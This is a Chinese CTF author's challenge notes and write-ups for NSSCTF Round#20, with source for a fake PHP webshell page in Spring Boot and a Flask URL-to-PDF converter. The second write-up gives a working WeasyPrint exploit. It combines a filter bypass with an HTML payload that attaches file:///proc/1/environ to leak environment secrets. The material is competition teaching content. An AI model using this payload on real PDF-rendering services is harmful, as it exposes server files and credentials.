NSSCTF Round#20 Basic 真亦假,假亦真 CSDN_To_PDF V1.2 出题笔记 (附wp+源码)

真亦假,假亦真

简介:java伪造php一句话马。实则信息泄露一扫就出,flag在/flag里面。

题目描述:开开心心签个到吧,祝各位师傅们好运~

静态flag:NSS{Checkin_h4v3_4_g00D_tINNe!}

/路由显示

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?>
docker build -t toftoffff . && docker run -d --name=toftoffff -p 9029:9029 --rm toftoffff

WP:

开题

image-20240306003334659

做好事不留名,那我Jay17当然不干好事啦

image-20240306003359140

你不会真去getshell了吧,不会吧不会吧

image-20240306003437025

其实这只是Java伪造的一句话,源码:

package org.nss.nss_true_boot01;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {

    @GetMapping("/")
    @ResponseBody
    public String index() {
        return "<!DOCTYPE html>" +
                "<html>" +
                "<head><title>签到题题题</title></head>" +
                "<body>" +
                "<h1>" +
                "签到题,直接送大家shell了,做好事不留名,我叫Jay17(6s后页面跳转)<br>" +
                "</h1>" +
                "<script>" +
                "setTimeout(function() {" +
                "    window.location.href = '/shell.php';" +
                "}, 6000);" +
                "</script>" +
                "</body>" +
                "</html>";
    }



    @GetMapping("/shell.php")
    public String shell(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @PostMapping("/shell.php")
    public String shellhhhh(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "真是shell我能给你?"+
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @GetMapping("/flag")
    public String flag(){
        return "真是shell我能给你?不过flag真给你,师傅们玩的愉快~:NSS{Checkin_h4v3_4_g00D_tINNe!}";
    }


}

如何破局?其实假的一句话木马我有给hint,我故意调错了颜色

image-20240315190040053

同时,flag路由扫一下就出来了。

image-20240306003756559

image-20240306003830473

CSDN_To_PDF V1.2

简介:python WeasyPrint 的漏洞,之前出现过:[FireshellCTF2020]URL TO PDF(BUU)、2023羊城杯决赛(未公开环境)。我进行过二开,加大了一点难度,可以从代码逻辑缺陷入手绕过

hint:

WeasyPrint

必须包含blog.csdn.net

会过滤替换字符串html

文件夹名字可以是blog.csdn.net

题目描述:几年前的自用版CSDN博客PDF转换器

源码:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import os

app = Flask(__name__)

URL_REGEX = re.compile(
    r'http(s)?://'
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)


def is_valid_url(url):
    if not URL_REGEX.match(url):
        return False
    if "blog.csdn.net" not in url:
        return False

    return True


@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():
    if request.method == 'POST':
        url = request.form.get('url')
        url = url.replace("html", "")
        if is_valid_url(url):
            try:
                html = HTML(url=url)
                pdf = html.write_pdf()
                response = make_response(pdf)
                response.headers['Content-Type'] = 'application/pdf'
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'

                return response
            except Exception as e:
                return f'Error generating PDF', 500
        else:
            return f'Invalid URL! Target web address: ' + url
    else:
        return render_template("index.html"), 200


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

docker build -t csdntopdf . && docker run -d -p 9030:8080 --name csdntopdf -e FLAG=NSSCTF{test_flag} --rm double_pickle

WP:

开题:

image-20240307153300025

源码不知道需不需要给,算了不给了,你们搞黑盒吧,hint都有。

hint如下,能不能发现看大家啦:

1、url不符合要求的话,会返回Invalid URL! Target web address:xxxxx,可以发现我吧字符串html替换为空,双写绕过就行

2、题目提到了CSDN博客PDF转换器,所以url必须包含blog.csdn.net,看起来无法绕过,但是你看看源码就懂了,前端源码我有给hint,我的css文件用的是:http://120.46.41.173/Jay17/blog.csdn.net/templates/index.css,服务器上有个文件夹是不是叫blog.csdn.net,就这样绕,有想法的师傅可能还能在我的vps同目录下发现源码哦~

3、功能是转换成PDF,后端是python。不难想到是WeasyPrint ,这是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印

原题wp可以看看y4✌的:[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客

首先探测一下漏洞:

http://120.46.41.173:9023/blog.csdn.net

image-20240315192008934

vps上文件test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>

我们利用python WeasyPrint 的方法是:

payload:

http://vps-ip/link.html

这题利用方法:

payload:

http://120.46.41.173/Jay17/blog.csdn.net/link.hthtmlml

拿到PDF后,binwalk -e 文件名

image-20240315192621557

image-20240315193025817

赛题测试:

image-20240327152434430

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/502339.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据库安全(redis、couchdb、h2database)CVE复现

redis服务默认端口&#xff1a;6379&#xff1b;我们可以通过端口扫描来判断是否存在该服务。 Redis 是一套开源的使用ANSI C 编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库&#xff0c;并提供多种语言的API。 Redis 如果在没有开启认证的情况下&#xff0c;…

论文笔记:TALK LIKE A GRAPH: ENCODING GRAPHS FORLARGE LANGUAGE MODELS

ICLR 2024&#xff0c;reviewer评分 6666 1 intro 1.1 背景 当下LLM的限制 限制1&#xff1a;对非结构化文本的依赖 ——>模型有时会错过明显的逻辑推理或产生错误的结论限制2&#xff1a;LLMs本质上受到它们训练时间的限制&#xff0c;将“最新”信息纳入到不断变化的世…

MySQL优化之外连接消除----空值拒绝

什么叫空值拒绝呢&#xff1f;请看下面用例 可以看到&#xff0c;外连接中&#xff0c;从表的表连接列&#xff0c;tb2.id出现了null&#xff0c;因为tb2中并没有id5的情况 点击(此处)折叠或打开 select * from tb1 left join tb2 on tb1.idtb2.id where tb2.id>1; sel…

商品说明书的制作工具来啦,用这几个就够了!

商品说明书是用户了解产品特性、性能、使用方法的重要途径。一个明确、易懂的商品说明书&#xff0c;可以显著提升用户体验&#xff0c;进而提升产品的销量。但我们都知道&#xff0c;制作一份高质量的说明书并不容易&#xff0c;需要仔细设计、计划和撰写。幸运的是&#xff0…

解决 linux 服务器 java 命令不生效问题

在Linux系统中&#xff0c;当你安装Java并设置了JAVA_HOME环境变量后&#xff0c;你可能需要使用source /etc/profile命令来使Java命令生效。这是因为/etc/profile是一个系统级的配置文件&#xff0c;它包含了系统的全局环境变量设置。 但是需要注意的是&#xff0c;source /e…

数据运营分析-详解

一、指标与指标体系 指标体系就是业务逻辑的框架,也是思考业务逻辑的第一步 案例: 老板,我负责的用户活跃,主要考察每天启动产品的注册用户数量,整体来看,每月活跃保持7.3%的增长,是因为渠道团队的拉新活动带来很多新增注册用户,占每月活跃用户的40%,新一年会继续沿…

手写简易操作系统(十七)--编写键盘驱动

前情提要 上一节我们实现了锁与信号量&#xff0c;这一节我们就可以实现键盘驱动了&#xff0c;访问键盘输入的数据也属于临界区资源&#xff0c;所以需要锁的存在。 一、键盘简介 之前的 ps/2 键盘使用的是中断驱动的&#xff0c;在当时&#xff0c;按下键盘就会触发中断&a…

图的基础和图的遍历(--蓝桥云)

图的基础概念 度数&#xff1a;出边入边的条数 有向边&#xff1a;有箭头 图的存储方式 //邻接表 List<int []> list[N] list<x>//存放x的所有出点的信息 list[i][j]{first,second}//其中first表示从i出发的某个出点的编号&#xff08;这个出点是i的第j个出点&…

Lecture 1 - Introduction

Lecture 1 - Introduction MIT 6.824 Distributed Systems 1、概念预览 分布式系统需要考虑的因素&#xff1a; Parallelism &#xff1a;并行性Fault tolerence &#xff1a;容错性Physicial &#xff1a;不同系统之间物理距离引起的通信问题**Security ** &#xff1a;不…

eps32官方ESP-IDF开发工具IDE的使用

1、创建工程 创建的工程目录如下&#xff1a; .c文件中很多报错&#xff0c;需要编译下&#xff0c;点击左上角的"锤子"按钮 2、烧录 3、打开终端查看信息 如上信息表明运行正常 附 问题&#xff1a;如果烧录的过程中报如下错误&#xff1a; UnicodeDecodeError: gb…

黑马鸿蒙笔记2

1.图片设置&#xff1a; 1 加载网络图片&#xff0c;申请权限。 申请权限&#xff1a;entry - src - resources - module.json5 2 加载本地图片 ,两种加载方式 API 鼠标悬停在Image&#xff0c; 点击show in API Reference interpolation&#xff1a;看起来更加清晰 resou…

测底解决msvcp140.dll丢失难题,总结5种靠谱的解决方法

在尝试运行特定程序或执行一段代码时&#xff0c;系统反馈了一条明确且关键的错误信息&#xff1a;“找不到msvcp140.dll”。这意味着&#xff0c;由于缺失了名为“msvcp140.dll”的动态链接库文件&#xff08;Dynamic Link Library&#xff09;&#xff0c;当前的操作无法按照…

22 多态

目录 多态的概念多态的定义及实现抽象类多态的原理单继承和多继承关系中的虚函数表继承和多态常见的面试问题 前言 需要声明的&#xff0c;下面的代码和解释的哦朴实vs2013x86环境&#xff0c;涉及指针是4bytes&#xff0c;如果要其他平台下&#xff0c;部分代码需要改动。比…

.NET CORE 分布式事务(二) DTM实现TCC

目录 引言&#xff1a; 1. TCC事务模式 2. TCC组成 3. TCC执行流程 3.1 TCC正常执行流程 3.2 TCC失败回滚 4. Confirm/Cancel操作异常 5. TCC 设计原则 5.1 TCC如何做到更好的一致性 5.2 为什么只适合短事务 6. 嵌套的TCC 7. .NET CORE结合DTM实现TCC分布式事务 …

03_制作U盘启动盘

一、准备工作 系统镜像.ISO UltraISO 二、制作U盘启动盘 打开UltraISO 文件-打开&#xff0c;选择已下载的镜像文件。 插入U盘&#xff0c;启动-写入硬盘映像。

8.图论——2.kruskal算法dijkstra算法

最小生成树 n个顶点组成的带权无向图&#xff0c;其生成树&#xff0c;即包含全部n个顶点并有n-1条边的无向连通子图。 最小生成树即各边权值和最小的一棵生成树&#xff0c;求最小生成树有kruskal算法和prim算法 kruskal算法 建立一个并查集&#xff0c;每个顶点一个集合把…

vlan间单臂路由

【项目实践4】 --vlan间单臂路由 一、实验背景 实验的目的是在一个有限的网络环境中实现VLAN间的通信。网络环境包括两个交换机和一个路由器&#xff0c;交换机之间通过Trunk链路相连&#xff0c;路由器则连接到这两个交换机的Trunk端口上。 二、案例分析 在网络工程中&#…

一文掌握 TS 高级类型编程

原文地址&#xff1a;github.com/Nealyang/PersonalBlog 前言 或许现在很多同学都在用 TypeScript&#xff0c;但是更可能大多数的同学并不会 TypeScript&#xff0c;他们用的&#xff0c;只不过是给 js 加了一些“注释”&#xff0c;然后洋洋得意“TypeScript 不过如此” 但是…

CSS(四)---【链接美化、浮动布局、三种定位】

零.前言 本篇主要讲解<a>标签链接美化、页面的浮动布局&#xff0c;以及“相对定位”、“绝对定位”、“固定定位”三种定位。 关于其它请查看作者其它文章&#xff1a; CSS(一)---【CSS简介、导入方式、八种选择器、优先级】-CSDN博客 CSS(二)---【常见属性、复合属…

基于springboot实现社区团购系统项目【项目源码+论文说明】

基于springboot实现社区团购系统演示 摘要 本课题是根据用户的需要以及网络的优势建立的一个社区团购系统&#xff0c;来满足用户团购的需求。 本社区团购系统应用Java技术&#xff0c;MYSQL数据库存储数据&#xff0c;基于Spring Boot框架开发。在网站的整个开发过程中&…